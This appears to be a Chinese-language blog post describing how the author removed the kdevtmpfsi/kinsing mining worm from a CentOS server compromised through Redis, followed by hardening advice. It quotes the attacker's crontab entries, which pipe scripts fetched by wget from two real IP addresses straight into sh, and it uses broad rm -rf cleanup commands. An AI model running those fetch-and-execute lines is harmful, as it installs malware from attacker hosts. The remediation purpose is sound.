问题描述:
Linux Centos 7 环境下的一台服务器CPU直接被打满,上服务器 top 命令看到了一个未知的 kdevtmpfsi 疯狂占用中,情况如下图:
网上搜索了一下 kdevtmpfsi 是一个挖矿病毒,大多数都是 redis 程序侵入,而且受害者还不少,通常比较明显就是 占用高额的CPU、内存资源。
问题原因:
阿里云公布的威胁快报:https://yq.aliyun.com/articles/741602
Redis RCE导致h2Miner蠕虫病毒,其利用Redis未授权或弱口令作为入口,使用主从同步的方式从恶意服务器上同步恶意module,之后在目标机器上加载此恶意module并执行恶意指令。在以往常见的攻击者或蠕虫中,其大多都沿用登陆redis后写入定时任务或写ssh key的方式进行入侵,这种方式受权限与系统类型影响并不一定能够成功。而此次使用redis加载module的攻击方式,可以直接执行任意指令或拿到shell交互环境,危害极大。
问题解决:
第一步:cd 命令切换到自己 Redis 的安装目录下,然后删除该目录下的 red2.so 文件以及以 kinsing 开头的所有文件。
第二步:crontab -l 命令先看看 crontab 的定时任务列表
[root@VM-0-9-centos /]# crontab -l
* * * * * wget -q -O - http://91.241.20.134/scg.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://185.191.32.198/scg.sh | sh > /dev/null 2>&1
因为我这台服务器根本没设置过 crontab 定时任务,而且这是两个国外(伊朗,俄罗斯)的陌生IP,所以可以断定这就是罪魁祸首。
第三步:crontab -e 命令进行定时任务编辑(该步骤很重要),去除陌生的定时任务(要求在root用户下),在打开的文本中,按 i 进行编辑删除,编辑完后按【Esc退出】键退出编辑,再输入 :wq 强制性写入文件并退出。
[root@VM-0-9-centos /]# crontab -e
第四步:ps -ef|grep kdevtmpfsi 命令查看 kdevtmpfsi 的进程,并且使用 kill -9 PID 杀死kdevtmpfsi 对应的进程
[root@VM-0-9-centos /]# ps -ef |grep kdevtmpfsi
root 40422 1 99 10:16 ? 01:01:16 /tmp/kdevtmpfsi
root 60879 60813 0 10:24 pts/4 00:00:00 grep --color=auto kdevtmpfsi
[root@VM-0-9-centos /]#
[root@VM-0-9-centos /]# kill -9 40422
[root@VM-0-9-centos /]#
第五步:ps -ef|grep kinsing 命令查看kdevtmpfsi程序的守护进程kinsing ,并且使用 kill -9 PID 杀死对应的进程
[root@VM-0-9-centos /]# ps -ef |grep kinsing
root 38560 1 0 10:15 ? 00:00:01 /var/tmp/kinsing
root 62455 60813 0 10:26 pts/4 00:00:00 grep --color=auto kinsing
[root@VM-0-9-centos /]#
[root@VM-0-9-centos /]# kill -9 38560
[root@VM-0-9-centos /]#
第六步:find / -iname kdevtmpfsi 命令再次确定kdevtmpfsi文件所在位置以便删除,使用 rm -rf 所在位置 删除 kdevtmpfsi 程序
[root@VM-0-9-centos /]# find / -iname kdevtmpfsi
/tmp/kdevtmpfsi
[root@VM-0-9-centos /]# rm -rf /tmp/kdevtmpfsi
[root@VM-0-9-centos /]#
第七步:find / -iname kinsing 命令再次确定 kinsing 文件所在位置以便删除,使用 rm -rf 所在位置 删除 kdevtmpfsi 程序
[root@VM-0-9-centos /]# find / -iname kinsing
/var/tmp/kinsing
[root@VM-0-9-centos /]# rm -rf /var/tmp/kinsing
或者像第一步一样(删除kinsing开头全部相关文件)
[root@VM-0-9-centos /]# find / -name "kinsing*" | xargs rm -rf
第八步:cat ~/.ssh/authorized_keys 查看是否有陌生的的公钥,有则删除掉,
问题防护
- 把异常的IP地址,入站及出站全部封禁
- 不定期更新 Redis 服务密码,禁止使用默认端口,非必要不暴露在公网或绑定指定IP
- 启用
ssh公钥登陆
,禁用密码登陆。 - 完善安全策略,入口流量,非必要一般只开放 80 443 端口就行,出口流量默认可以不限制,如果有需要根据需求来限制。
- 防火墙能用的尽量用起来,有条件可以上付费的。
经过几天的观察,服务器运行正常。